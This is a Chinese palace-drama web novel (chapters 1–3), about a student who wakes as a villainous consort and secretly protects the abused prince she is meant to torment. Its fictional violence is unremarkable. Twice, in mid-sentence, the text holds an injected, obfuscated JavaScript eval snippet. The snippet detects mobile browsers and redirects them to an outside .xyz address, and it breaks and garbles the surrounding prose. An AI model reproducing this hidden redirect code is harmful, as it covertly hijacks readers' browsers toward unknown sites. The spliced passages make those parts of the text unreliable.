《反派贵妃每天都在努力保命》 1. 天崩开局 “娘娘,药煎好了。” 小太监的声音尖锐而刺耳,梅胤穗耳边吵吵嚷嚷的,她皱了皱眉,脑子格外昏沉,挣扎了好久,才不情不愿的睁开了眼。 “吵死了,刚刚才睡着,怎么梦里还有药……” 等下,不对,她的声音怎么变了! 梅胤穗只记得自己刚刚才背完书,准备趴在桌子上稍微眯一会儿就去考试。 谁知道两眼一闭就陷到黑暗里,有人知道这对于一个常年失眠,作息混乱的人来说,是多么令人感动的事情啊! 结果没安静几秒,就被尖锐的声音吵醒。 梅胤穗睁开双眼,只见鎏金缠枝托盘上,鹤颈银壶泛着冷光。 “娘娘恕罪,娘娘恕罪。” 不知道是受什么刺激了,那捧着托盘的小太监刚被自己扫了一眼,就慌的扔下了托盘,跪在原地不停磕头,全身抖的像筛糠一样,额头上的冷汗涔涔而下,浸湿了一片青砖地。 这不对吧老师,我这是做梦梦到哪里去了啊!21世纪了,这可不兴再行跪拜礼了吧…… 梅胤穗心中惊疑不定,目光从颤抖的小太监移到那托盘上,鹤颈银壶里的黑色药汁还冒着袅袅热气,药香与屋内焚的香交织在一起,让她的头脑愈发清醒。 她低头看了看自己,一身繁复华丽的宫装,宽大的衣袖上绣着繁复的金色凤凰图案,手指纤细白皙,与常年握笔磨出的薄茧截然不同。 这突如其来的变故让梅胤穗心中五味杂陈,她明明只是个即将考试的苦命大学生,怎么一眨眼就成了这不知朝代的宫妃? 梅胤穗强压下心头的慌乱,努力让自己冷静下来。她刚想开口让还在不停磕头的小太监站起来,那不属于她的声音就又出声了。 “没用的奴才,还不快收拾干净退下!” 那声音带着不容置疑的威严,吓得小太监又是一哆嗦,连滚带爬地收拾起散落的托盘,慌不择路地退了出去。 “来人,还不快将静王殿下扶到座位上,再这么跪着,回头把腿跪坏了,陛下该来治我的罪了。” 方才脑子不清楚,梅胤穗这才发现宫殿青砖上跪着的少年。少年单薄的素袍洇着暗红,垂落的乌发间隐约可见颈后鞭痕,可那脊背仍如雪中青竹般挺直。 侍卫从门外走进殿中,朝梅胤穗行了礼后,便扶着跪在地上的少年到一旁的座位上。说是扶着,其实更像是两个人生生用蛮力将那人提起来放到椅子上。 “今年的雪下得格外早,那些个朱漆宫门上的铜兽首现在还缀着冰棱呢。这要是在外面跪一夜,那可不得了。翊珣,你觉得呢?” 少年没有回答,只是闭着眼低着头沉默。 整个宫殿一时间都很安静,那不属于梅胤穗的声音也没再出现。 但是,一片寂静中,只留下梅胤穗一个人风中凌乱。 不对劲,十分有九点五分的不对劲。这到底什么情况啊,做梦吗?还是鬼压床?不对啊,她更像鬼压床的那个鬼啊!救命! 等下,翊珣,这名字不是她前两天看完的偏执暴君救赎文的男主名字吗?好巧不巧,她和文里折磨男主的炮灰贵妃一个名字,当时她还在评论区哀嚎了几句,其中一条评论还叮嘱她记得背诵全文,以防某天就穿越过去了。 还有什么比穿书穿到被男主凌迟而死炮灰女配身上更惨的事吗? 不对,其实还有的。梅胤穗努力想抬抬手,发现自己现在根本控制不了这具身体。 梅胤穗闭上眼睛沉默了一会,便开始回忆原书剧情。 既然现在做不了什么,那索性先过过剧情,说不定后面用得上。 原书中,先帝勤政爱民,太子每日勤勉于政,父子二人深谙民间疾苦,常以百姓之心为己心,施行仁政,深受万民爱戴。 可偏偏太子莫名亡于战场,先帝一时情绪激动,竟自此重病不起。先帝血缘淡薄,除去太子,只剩一个昏庸无道,整日吃喝玩乐的闲王。朝臣就是再不情愿,也只能扶闲王上位。 闲王无子,故太子之位空悬,丞相曾携众朝臣提出立先太子之子,也就是男主为太子。但新帝迟迟不愿同意,最后也只是给了男主一个封号,借由年龄太小,不宜外出开府为由,囚禁在宫中。 新帝上位后,日日笙歌,不理朝政,朝堂之上乌烟瘴气,民间怨声载道。皇帝因厌恶先太子,故而对男主极尽折磨。 而梅胤穗穿进书里的角色,是当朝丞相之女。原先在家中很受宠爱,却被父亲送进后宫讨好新帝,因其地位尊贵,被封为贵妃。而新帝却因厌恶其父兄势力,对她并不好,虽然地位尊贵,却日日生活在恐惧之中。 她因不满新帝的冷漠与折磨,开始将矛头对准了同样受新帝厌恶的男主,用尽手段折磨他,只为在新帝面前刷存在感,却没想到适得其反,最终男主成功登基为王,只落得个凌迟而死的下场。 而原书作为救赎文,拯救男主裴翊珣的命定女主,正是梅胤穗的侍女,苏荷。原书的梅胤穗性格极其骄纵,稍有不顺心,就会朝下人发脾气。苏荷作为贴身侍女,自然少不了挨骂。 苏荷心地善良,和梅胤穗进入宫中后,因看不惯她时常欺负折磨裴翊珣,加上本就对梅胤穗有所不满,便会借着贵妃殿中大宫女的身份,时常给男主送药治伤,最后男主起事造反的重要节点,也是苏荷提供的。 所以,如果她不趁早做好打算,最终很难逃过凌迟而死的结局。 梅胤穗想到这里,不禁打了个寒颤。她可不想重蹈原书中梅胤穗的覆辙,更不想死得那么凄惨。如今既然已经穿进了书里,那就得想办法活下去,而且还得活得好好的。 “娘娘,药来了。”小太监端着托盘匆匆跑到梅胤穗面前,双手捧得极高,头深深地低着,浑身还在不停打颤。 原身站起身,摸了摸瓷碗,“温度正好呢,这次做得不错,去领赏吧。”说完,便拿起碗朝裴翊珣走去。 完了完了完了,这个药喝下去之后裴翊珣眼睛会盲一个月,偏偏皇帝过几天命他出宫办事,还安排了刺杀。她要是不做些什么,回头裴翊珣将这些一并算在她头上,就真的没什么活路可走了。 她只能眼睁睁地看着自己端着一碗乌黑的药走到裴翊珣面前,看着自己用手抬起他的头,朱红色的指甲一寸一寸划过他的脸。 “我幼时随父亲进宫,有幸见过先太子殿下几面。那双眼睛,生得极好看,明亮有神,像是盛满了星辉。”原身将他的头抬得更高,盯着他的眼睛,言语间逐渐疯狂。 “可偏偏陛下不喜先太子,更不喜你这双与其九分相像的眼睛。”裴翊珣用力拍开原身的手,不愿再与她对视,“我爹让我进宫侍奉陛下,他还带着朝臣想推举你为太子。我们都是棋子,都是他为了满足自己一己私欲的工具。我让你喝药,是帮你。” “陛下若是看到你这双眼睛从此之后再无神,便不会为难你了。我是为了你好。” 说着,原身挥手让两边的侍卫抓住裴翊珣的肩膀,自己用力抬起他的头,想要将药灌进去。 不知道是穿书的前情提要过完了还是怎么的,梅胤穗只感觉自己全身像是恢复了些温度,几秒间,这具身体便由她全部掌控。 她猛地抽回手,用力将药碗打翻在地,黑色的药汁瞬间溅了一地,也溅在了裴翊珣的衣袖上。 周围的侍卫和宫女听见声音,连忙跪下来请罪。就连裴翊珣愣住了,他抬头看向梅胤穗,眼中满是惊愕与不解。 几道灼热的视线落在身上,梅胤穗有些不习惯地咳了几声掩饰尴尬,转过身回到椅子上 “怎么,贵妃改主意了?不罚我了?”裴翊珣突然笑了两声,语气中带着几分戏谑与挑衅。他用力挣开侍卫的束缚,站起身来,一步步走向梅胤穗。 裴翊珣走到她面前,用那双与先太子极为相似的眼睛盯着她,仿佛要看穿她的心思。 “罚,我当然要罚你,只是这样也太便宜你了,来人,把这些都收拾干净,然后给我拿一盆冷水一盆烫水。其他人都下去吧,这么多人围在一起,本宫看着头疼。” 侍卫和宫女 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“贵妃娘娘息怒,这水这样烫,女子的手放下去后必然难看,别脏了娘娘的眼睛。还是我来吧。” 梅胤穗看着在自己面前毫不犹豫跪下的裴翊珣,表情里多了几分玩味。 这就是男女主之间的羁绊吗?这个时候就护上了? “罢了罢了,苏荷,你带人将这水拿出去弄。这点小事还要耽误我的时间。”梅胤穗佯装不耐,挥挥手便让人出去了。 侍女们抬着热水盆连忙出去,生怕再有什么行为惹得这阎王不舒服。 裴翊珣跪在地上,低垂着头,看不清脸上的表情。梅胤穗坐在高位上,目光深邃,似乎在思考着什么。 梅胤穗假装着急地等了一会,苏荷便带着人将水盆和镯子一并拿回来了。 “都下去吧。”梅胤穗接过镯子带上,又指着跪在殿中的少年,“你,到我……本宫面前来。” 要一个大学生装古代贵妃实在太难了,光是这个自称都改不过来,怎么说都不顺口。 梅胤穗攥了攥手,面无表情地看着少年艰难地起身,心里流下不少冷汗。 侍女侍卫出去的路上,还不忘偷瞄一眼两人。他们伺候的这位主子,身份地位都很高,虽然不受宠,但是丞相父亲和将军兄长在上,也没人敢欺负她。 贵妃动辄打骂侍女,对于这个身份特殊,被皇帝厌恶的静王,更是深恶痛绝。宫人都可以随意踩两脚的没用王爷,对于梅胤穗来说,是一个极其趁手的撒气工具。 平日里梅胤穗最喜欢做的事情,就是将裴翊珣关在宫殿里,用兽皮鞭子将人打得皮开肉绽,然后再让他跪上几个时辰。 待到宫人全部离开,梅胤穗才站起来,走到裴翊珣面前。 “把手放到水里,没有本宫的允许,不许拿出来。” 梅胤穗深吸一口气,拿出从前在电视剧里学来的恶毒后妈的模样,试图让自己显得更加威严。 “怕疼?怕疼就对了,以后陛下若是不来我这,你就每天都给我把手浸在这热水里受罪。” 梅胤穗在人看不见的地方撇了撇嘴。其实不然,那狗皇帝最好一天也别来,玩得那么花,我还怕他有传染病。要不是为了治冻疮,也是想不出来这么离谱的理由了。 裴翊珣手上的冻疮一看就是经年累月受冻,加上没有及时治疗,已经变得红肿不堪,有些地方还有破皮。这种情况不可能直接上药,会很疼。 最优先的方法就是先泡在温水里,让冻疮慢慢软化,然后再处理伤口。 梅胤穗看着裴翊珣的手缓缓浸入水中,他微微颤抖的身躯仿佛在诉说着疼痛,但脸上却是一副惊讶的表情。 梅胤穗刚刚松了口气,坐回位子上。热水这样端来端去,早就不会有多烫了,正好差不多是治疗冻疮最好的温度。 只是没过一会,裴翊珣脸上的表情逐渐紧绷,眼看着要把手从盆里拿出来,梅胤穗连忙冲到他身边按住他的手。 “不许拿出来,给我放在里面。” 2. 夜半送药 裴翊珣被人猛地按住胳膊,刚要拿出来的手又被重新压到盆里。他抬头看着面前的人,只对上一双焦急的眸子。 两个人保持这样的姿势过了一会,大概是看他不再挣扎,面前穿着华服的人才退回去,一屁股坐到台阶上喘着气。 年轻的贵妃生了一副极好的样貌,眉眼温柔,看着是好脾气的温暾样子。真实性格却极其狠辣骄纵,与模样给人完全不一样的感觉。此时不顾外人坐在台阶上休息的样子,没有了狰狞的表情,倒是多了几分柔和。 裴翊珣低头看着盆里因为动作生出的微小涟漪,心里无端生出几分别的心思,更多的是疑问。 他第一次将手放进盆里时,下了很大的决心,已经做好了被烫,甚至留下不好治疗的疾病的准备。但是只是在放进去的那一瞬间,原先紧皱的眉头松开了。 水并不烫,大概是侍女们端出去去镯子的时间太长,水温不高。 他的第一反应,是梅胤穗身边的侍女走出去时给他的一个眼神。整个取镯子的时间很长,像是精心为自己耗时间,提前让水温降下来一样。 水是温热的,久违的舒适的温度。 可是在某一个瞬间,温水浸透了伤口,原先舒适的水像是针一样深深扎进伤口,水浸过手上的每一个伤口,每一处裂缝,又疼又痒。 裴翊珣第一反应就是将手拿出来,可是刚有动作,便被人又将手按了下去。她的力气不大,温热的手碰到手臂,裴翊珣颤了一下,随即便顺着她的意思不再挣扎。 裴翊珣看着梅胤穗坐在台阶上,用奇怪的姿势动了动双手,成色极好的镯子卡在手腕处。他脑子里突然出现了一个不现实的念头。 镯子怎么可能会轻易脱手,如果没有她的默许和帮助,那盆滚烫的热水真的有足够的时间变成温水吗?为什么那碗药突然就不逼他喝了? 太奇怪了,都太奇怪了。 “娘娘,酉时了,现在用晚膳吗?” 直到苏荷进入殿中说话,梅胤穗才猛然惊醒。她抬头望向窗外已经有些昏暗的天色,摇了摇头想让自己清醒一点。 她只记得自己用力按住挣扎的裴翊珣,看着他安稳下来之后,累得坐在台阶上缓了一会,随后便坐回位子上靠着,居然睡着了吗? “苏荷,我方才叫你们出去,距离现在有多久。” 苏荷闻言,微微一愣,随即低头思索片刻、“回娘娘,约莫一刻钟左右。” 梅胤穗闻言,看着还跪在地上的裴翊珣,两眼一黑。原先是打算泡一会温水就让他起来的,谁想到居然会突然睡着。泡了一刻钟,温水早就凉了,手都能泡皱。 她好像有点死了…… 梅胤穗闭了闭眼,调整了情绪,“来人,把静王殿下扶起来,苏荷,传膳吧。让人把这些都收拾了。” 宫人们动作很快,没一会便收拾好了东西,也将晚膳端上了桌。 裴翊珣被宫人扶起时,腿已经跪麻了,踉跄了一下,好在被旁边的侍卫及时扶住。 “贵妃娘娘若是没有什么别的事情,我就先回宫了。” “静王殿下不留下来吃点?回宫之后,可就过了晚膳时间了。” 按理说无论他在什么时间想吃什么,御膳房都能第一时间呈上来,只是裴翊珣不讨皇帝喜欢,自然也是没人重视,宫中人人皆可欺辱。 过了时间,有时候连一顿饭都吃不上。 “不劳贵妃娘娘费心,您再强留,我才是真的吃不上饭了” 梅胤穗沉默了一会,才发现裴翊珣盯着自己,目光中多了点探究。 “咳咳,今夜天色晚了,静王殿下就留在偏殿歇下吧。”梅胤穗被盯得有些不自然,随手招呼人将裴翊珣带出了门。 夜晚寂静无声,今夜天阴,连星星都看不到几颗,只有远处偶尔传来的更鼓声打破了这份宁静。 梅胤穗站在寝宫旁的窗户边,手里揣着一瓶药,不知道在看些什么。 苏荷一入寝宫,便看到这一幅场景,方向还正是养心殿的位置,心中了然,便拿着披肩走上前去。 “夜寒露重,娘娘还是早些休息吧,别再染上风寒了。娘娘莫急,宫中荣宠这等事情本就是这样的,说不定没两天,陛下就来咱们这了呢。静王殿下不受陛下宠爱,以奴婢看,还是早些赶走了好,别是这煞星坏了咱们华阳宫的运道。” 梅胤穗顺着苏荷的动作慢慢走到床榻边,听着她的话,回忆起原书这段剧情。 原书中,梅胤穗灌完裴翊珣药之后便没再管他了,晚膳时苏荷也说了类似的话,没想到梅胤穗大怒,狠狠罚了苏荷一顿。也就是这次求情无果,才坚定苏荷后续偷药治疗裴翊珣,没让那致人眼盲的药害的裴翊珣落下难以医治的祸根。 想到这,梅胤穗看着苏荷的脸,突然眼前一亮。 既然书中最后是苏荷把解药偷给了裴翊珣,那现在她直接把解药摆在苏荷面前不就行了,还少了苏荷找解药的时间。虽然这次裴翊珣只被强灌了半碗毒,若是这毒药太烈,还是会多出很多麻烦。 “静王的事情莫要再说了。对了,这药是先前长兄给本宫的百毒解,本宫忘了收起来,你把它同我之前那些药都放一起。”梅胤穗将药递给了苏荷,眼睛里带着点光亮,“对了,今晚别来守夜了,叫那些个都别进内殿,吵死了,本宫天天睡不好觉。” 梅胤穗推着苏荷,让她赶紧出去。苏荷拿着药有些疑问地离开了,走之前还回头看了看梅胤穗, 娘娘今天,好生奇怪啊,为什么我从娘娘眼睛里看出来了几分期待啊,而且居然能那么顺利地拿到百毒解,好像有点过于顺利了。 梅胤穗看着苏荷快步流星跑出寝宫,松了眉头,开心地笑了笑。 这下都解决了,第一道难关算是过去了,帮他解了毒,治了冻疮,慢慢刷好感度,再推动一下男女主情感升温,完美。 “来人,去给静王殿下送完安神汤,记住,安神效果一定要好,一定一定看着咱们殿下喝下去。” “静王殿下,贵妃娘娘命我来送安神汤。” 苏荷端着青瓷碗踏入偏殿时,裴翊珣正倚在雕花木榻上闭目养神。烛火将少年单薄的身影投在锦缎帘栊上,像一支随时会折断的玉笛。 “殿下,喝了药,早些休息吧。”苏荷将安神汤放在案几上,手指无意识摩挲着碗沿。 裴翊珣缓缓睁眼,琉璃般的瞳仁在烛光下泛着琥珀色涟漪。他盯着苏荷别在腰间的荷包——那是用贵妃殿中特制的苏绣缝制,针脚处隐约可见“华阳宫”字样。 “苏荷姑娘。”少年突然开口,声音带着病中的沙哑,“这药里,可加了什么特别的东西?” 苏荷手一抖,药汁在碗中荡起细小波纹。 裴翊珣盯着她的动作,看她仓皇的样子。 “殿下说笑了。”苏荷垂眸避开视线,“不过是寻常安神药材。” 裴翊珣却突然轻笑出声,他端起药碗,宽大的素袍滑落手腕,眼看着原本要送到嘴边的碗,突然向另一边歪去。 “殿下!”苏荷慌忙走上前去扶住药碗,“安神药中有特殊药材,能解今日的毒。此药可解百毒,殿下注意身体,奴婢先退下了。” “苏荷姑娘,你我萍水相逢,你为何要帮我。你本身贵妃亲信宫女,我为何要信你。” “先太子曾经救过我……殿下往后有任何需要,苏荷皆可一助。”说完,苏荷便匆忙离开了偏殿。夜风卷着细雪扑在脸上,才惊觉后背已沁出冷汗。 苏荷刚一离开,偏殿的窗户就跳进来一个身穿夜行衣的蒙面男人。 “殿下还是小心,贵妃的偏向,现在还看不出来。” 裴翊珣看着放在面前的碗,摇了摇头,“没事,是真的百毒解。” 药汁快要入口时,他分明闻到了苦杏仁与甘草交织的特殊气息,那是军中秘制解毒方。 “十五,你帮查一下贵妃最近的行踪。苏荷本不该这么快找到百毒解的,除非,是她特意给了位置的提示。还有,注意最近华阳宫中有没有药物失窃,贵妃震怒的消息。我总觉得这事情不对。”裴翊珣说完,将药一饮而尽。 十五应了一声,转身消失在夜色中。 裴翊珣则重新闭上眼睛,思绪纷飞。他倚靠在床榻边,或许是原本的安神药起了作用,很快便陷入了沉睡。 三更梆子响过,梅胤穗拎着药箱摸黑溜进偏殿。白日里她特意支开所有宫人,不让任何人守夜,此刻整座宫殿静得能听见雪落的声音。 烛火跃动的瞬间,她看见裴翊珣蜷缩在床榻上。少年睡姿极不安稳,眉心紧蹙,冷汗浸湿了鬓发。 梅胤穗在裴翊珣耳边轻拍了两下,见少年没什么反应,转身在小药箱中找着冻疮药。却没注意到榻上的人睫毛轻微地动了动。 梅胤穗蹲在榻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668530|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,将瓶子凑近鼻子旁仔细闻了闻,确定无误后,她轻轻掀开裴翊珣搭在手上的衣袖,露出他手腕上红肿的冻疮。 她用药匙从药瓶中挖出白色药膏,小心翼翼地涂抹在每一处冻疮上。伤口真的不怎么好看,因为她本身是从来不长冻疮的体质,所以从没有真的见过这种疮口。 做完这一切,梅胤穗收拾完东西,目光再次落在裴翊珣苍白的脸上。她轻叹一声,心中五味杂陈。这个少年,明明身负皇族血脉,却在这深宫中饱受折磨。 正常的男主不都是享尽荣华富贵,偏偏他就是当上王爷了也没什么好日子过。 先太子死后,被一众朝臣当成牵制新帝的工具,还要被原身一直折磨,想来日子也是不好过。 梅胤穗站起身,正打算走,抬头便对上一双清明的眸子。 裴翊珣其实并未完全睡熟,只是身体过于疲惫,意识陷入了半梦半醒之间。他感觉到耳边有轻柔的声响,随即一股淡淡的草药香扑鼻而来。挣扎着醒来之后,便看着梅胤穗在自己身边忙活完准备走。 梅胤穗被他突然的动作吓了一跳,手中的药箱险些掉落。 “你……你醒了?你要不回床上睡吧,窗边风大,容易生病……”梅胤穗的声音越来越小。 裴翊珣坐起身,目光在梅胤穗身上扫视了一圈,最终落在她手中的药箱上。 “贵妃娘娘这是做什么?半夜偷跑进皇子的房间,意欲图谋不轨,还是……” 还没等裴翊珣把话说完,梅胤穗就一把捂住他的嘴,小心地左右看了看,确认窗外真的没有人,才开口说话,“你别再说话了,你等我给你解释。” 别说了啊神仙,这张嘴真是不饶人。既然被发现了,不能按原先的剧本来,那我就索性撕了那本书,重新写剧本就是。 裴翊珣点了点头,眼睛里带着几分戏谑的笑意,似乎很开心看梅胤穗紧张的样子。 到这个时候,他几乎能确认面前的这个梅胤穗不是从前那个贵妃了,不管是什么抢魂夺舍,总归是里子不一样了。 “今天原本要灌你的那碗药,是致人眼盲的。先前有人盯着,我只能先灌你喝,后面再给你解药。父亲既然联合众朝臣想强逼陛下立你为太子,为的是牵制皇帝,我自然也要帮忙在宫中护住你。” 梅胤穗的声音压得很低,但语气中却带着不容置疑的坚定,“我现在所做的一切,都是为了你好。你得相信我。” 裴翊珣微微挑眉,似乎对梅胤穗的话半信半疑,“我身上这些伤,可都是拜贵妇娘娘所赐,娘娘让我如何相信你现在这些话。” “人总归会有脾气,当时我突然被送进宫,一口气发不出来,鬼使神差就把气全撒在你身上了。我和你道歉,你若不相信,看这个,这是我父亲前几日派人送给我的。” 原文中梅胤穗这个角色第一次出现,就是苏荷奉命将丞相的信拿给她。原身本以为这是父兄对把自己贸然送进宫的道歉,却没想到信中大部分内容都是让她尽量庇护裴翊珣。 只有末尾与她相关,不过一句“此为当下权宜之计,父兄会尽最大努力护你安全”。 也就是在这个时候,梅胤穗正式开始找裴翊珣的麻烦,隔三岔五把他叫到华阳殿罚跪,是不是还要用上鞭子。 临出门前,以防万一,梅胤穗特定把信找出来带在身上。 裴翊珣接过信纸看了好一会,就没有再追问下去。 梅胤穗见他没有再说话,心中稍稍松了口气,她将药箱放到一旁,走到窗边将窗户关上。做完这一切,她才重新走到裴翊珣面前,神色变得严肃起来。 “裴翊珣,我知道你现在处境艰难,我们是一样的。这个偌大的吃人皇宫,只有我们两个是同盟。你得相信我,我会尽我所能帮你渡过难关。过几日宫宴,我会想办法见到父兄,你若有想说的话,可写好交予我。”梅胤穗的话语中带着几分恳求和认真。 裴翊珣看着她,那双琉璃般的瞳仁在夜色中闪烁着莫名的光芒。片刻后,他缓缓点了点头,“好,我答应你。写信的话,宫宴那日我同你一起吧,还是莫要让拿信最后变成害丞相的把柄就好。” 梅胤穗点了点头,转身欲走,像是突然想起来了什么似的,从药箱里掏出几瓶药和纱布摆在桌子上。 “既然你都醒了,就自己把伤口好好处理,回头再发炎……不是,回头再加重发热就不好了。” 3. 母子情深 “娘娘,卯时已至,是时候起床了,若再耽搁,恐怕会错过向太后请安的时辰。”苏荷轻拉开床榻上的帷幔,一缕日光透过窗棂的缝隙,洒入了寝宫。 梅胤穗突然睁开双眼,目光呆滞地凝视着床顶,双眼无神。 昨晚,不对,是今天凌晨,她是三更天左右去的偏殿,和裴翊珣聊完回到寝宫,约莫着已经是丑时。满打满算,也才睡了四个小时,对于一向习惯了日上三竿才起的梅胤穗来说,这简直是睡眠不足。 她揉了揉酸涩的双眼,挣扎着从床上坐起,任由苏荷为她更衣梳妆。 今日要向太后请安,自是不能像往常那般随意,梅胤穗特意选了一套端庄又不失华贵的宫装,再配上精致的妆容,整个人看起来明艳动人。 只是,那双眼睛却失去了往日的神采,显得有些呆滞。 苏荷见状,心中不禁有些疑惑,却也不敢多问,只默默地替梅胤穗整理着衣物。 一切准备就绪后,梅胤穗带着苏荷等一众宫女太监,浩浩荡荡地前往太后寝宫。 太后居住的长寿宫距离梅胤穗的华阳宫并不远,一行人很快就到了宫门口。 梅胤穗深吸一口气,整理了一下情绪,这才迈步走进宫中。 怎么莫名有种去老师办公室汇报工作的感觉…… 太后已经等在正殿了,见她进来,脸上露出了慈祥的笑容。 “给太后请安,太后万福金安。”梅胤穗恭恭敬敬地行了礼。 太后微笑着点了点头,“起来吧,赐座。” 梅胤穗谢过恩后,在太后下首的椅子上坐下。 “这几日可还好?哀家听说你唤静王去你殿中,可是你父兄有所交代?”太后关切地问道。 这不对吧,原来太后也是先太子阵营的吗?就这么光明正大地在长寿宫中说出来,这样不好吧? 梅胤穗看着面前慈眉善目的太后,缓缓打出了一个问号。 梅胤穗端起茶盏的手微微一顿,青花瓷盖与盏身相碰发出清脆声响。太后此言看似关切,实则暗藏机锋——昨夜裴翊珣宿在华阳宫偏殿的事,竟已传到这位深居简出的老人耳中。 “太后说笑了,臣妾不过是见静王殿下衣衫单薄,昨日天色太晚了,就让他留在华阳殿了。”她垂眸轻笑,指尖无意识摩挲着盏沿浮雕的缠枝莲,“父兄素日教导要敬爱宗室,臣妾怎敢忘怀?” 太后执起金丝楠木佛珠,檀香混着龙涎香在殿内弥漫。“贵妃有心了。”她忽然抬眼,目光如炬,“只是哀家听闻,昨夜华阳宫偏殿的烛火,可是亮到四更天啊。” 梅胤穗心头剧震,面上却分毫不显。她早知这深宫没有秘密,却未料太后耳目竟已渗透到这般地步。 茶盏轻放时溅起半滴水珠,在紫檀桌案上洇开小小水痕。 “太后明鉴。”她掏出绢帕按了按嘴角,抬眼时眸中已泛起水光,“臣妾幼时随父亲驻守边关,最见不得将士受冻疮之苦。昨夜见静王殿下手上冻疮溃烂,实在不忍……” 话音未落,殿外忽传来急促脚步声。穿玄色蟒袍的帝王大步跨入,腰间玉带钩撞得珠帘叮当作响。“朕倒不知,朕的贵妃何时成了菩萨心肠?” 梅胤穗慌忙起身行礼,余光瞥见裴翊珣跟在皇帝身后。少年今日换了件鸦青色大氅,衬得脸色愈发苍白,颈间鞭痕却用白纱仔细裹了——正是她昨夜留下的药膏。 “陛下万福。”太后起身相迎,佛珠在腕间叮咚作响,“贵妃正在与哀家说翊珣冻疮的事呢。” 皇帝目光在两人身上逡巡,忽然嗤笑出声:“贵妃倒是会找靠山啊,不愧是丞相的好女儿”他伸手掐住梅胤穗下巴,拇指重重碾过她唇角,“怎么,昨夜用热水给静王泡手,今日又来母后这里讨赏?” 梅胤穗被迫仰头,对上皇帝阴鸷的双眼。这人与原主记忆中逐渐重叠——暴戾、多疑。她强忍着下颌剧痛,颤声道:“陛下说笑了,如今臣妾已是贵妃,静王殿下自然算是臣妾的孩子,臣妾不过是……” “陛下!”裴翊珣突然开口,嗓音沙哑得厉害,“贵妃娘娘慈悲,儿臣感激不尽。”他掀袍跪下,素袍下摆扫过满地金砖,“若陛下要罚,便罚儿臣吧。” 皇帝松了手,梅胤穗踉跄着跌坐在地。她望着裴翊珣挺直的脊背,忽然想起原文中这段剧情。 原主因成功下药,皇帝当众奖赏。裴翊珣却因毒药起效,眉眼不清,被冠上“顶撞圣颜”的罪名,被罚跪在雪地三个时辰。 “好一个孩子,好一个母子情深。”皇帝冷笑,忽然拽着裴翊珣后领将人拎起,“既然如此,朕便成全你这份孝心。来人,取荆条来!” 梅胤穗瞳孔骤缩。荆条浸水后极利,抽在身上非皮开肉绽不可,此后若再罚跪,后果不堪设想。 原文中,后日皇帝带着太后和后宫嫔妃外出赏梅,这也是裴翊珣难道有机会能和先太子遗部正面沟通交流。若是因伤错过这个机会,往后再想出宫就难了。 她顾不得许多,扑上去抱住皇帝小腿:“陛下息怒!静王殿下身子孱弱,经不起……” “爱妃这是在教朕做事?”皇帝一脚将她踹开,金丝绣鞋踹在她心口,疼得她眼前发黑。 裴翊珣突然挣开侍卫束缚,反手夺过荆条。少年身形如松,荆条在掌心勒出血痕,“儿臣愿领双倍责罚,只求陛下莫要迁怒贵妃。” “可笑,真是可笑,朕这就成全你。”皇帝像是怒极反笑,反手拿起鞭子就要往裴翊珣身上抽去。 “皇帝。”太后忽然开口,面上不复方才的柔和,声音中带着不容置疑的威严,“皇帝这是要在哀家面前动手吗?哀家年纪大了,见不得血。” “贵妃,起来吧。翊珣,你也起来。这样跪着,像什么样子。” “哀家听闻今日早朝后,梅将军留下来了,想看看贵妃是吧。” 皇帝闻言,动作一顿,眼神中闪过一抹阴翳,却仍笑道:“母后的消息还真是灵通,梅将军此刻应该还未出宫门,这事就传到母后耳朵里了。” 太后不以为意,手中的佛珠轻轻转动,“哀家也是关心贵妃,毕竟梅将军就这么一个宝贝女儿。贵妃,哀家方才已经唤人将梅将军喊回来了,一会你们兄妹见一面吧。” 梅胤穗站起身谢恩,却始终不敢抬头看。 搞笑啊,我就是看了再多宫斗剧也处理不了这种事情啊。母子矛盾也是我这等小小人物能掺和的吗?更何况这这皇帝也并非太后所生。 原文中没有提皇帝的生母是谁,只知道是个没权没势的宫女,生下皇帝之后就死了,在文中连个名字都没留下。 所以当时大家都在评论区猜,又说是皇帝从外面带进宫的,也有说太后身边的贴身宫女的,不然为什么太后要抚养皇帝长大。 先太子与皇帝差了十一岁,按理说皇帝和先太子关系不该那么差,毕竟明面上都是一个母亲,太后是自皇帝还是个婴儿的时候就养着他了。 只不过长大后有人挑拨,说是太后当然更偏爱自己的亲生儿子,说当时他的生母死的不明不白,肯定是太后害死的。 自此之后,皇帝便于太后和先太子割席,封王出宫后便再没回来看过。 梅胤穗心中千回百转,面上却不得不维持着端庄的姿态。她低眉顺眼,轻声应承:“臣妾遵命,谢太后恩典。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668531|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝冷眼看着这一幕,嘴角勾起一抹讽刺的笑。他转而看向裴翊珣,目光中多了几分审视:“既然你们母子情深,静王此前在宫中也无人依靠。贵妃,我下旨将静王放到你名下如何?” 皇帝视线虽然没落到她身上,但梅胤穗仍然感觉自己开始起冷汗。 裴翊珣虽是先太子之子,但并非太子正妃所生,或者说,先太子并无正妃。裴翊珣生母是边疆战场一女子,先太子外出征战时与其相恋,诞下一子。那女子原先是要跟着先太子回都城,不料途中被刺身亡,先太子此后便再没立妃。 裴翊珣早慧,和母亲待在一起的时间不长,但是对那段日子的记忆极其深刻。那女子身亡后,对于母亲这一词便尤为敏感,先太子再不立妃与其也有些关系。因此,裴翊珣厌恶一切在他面前提前他母亲的人,或者是想代替他母亲的人。 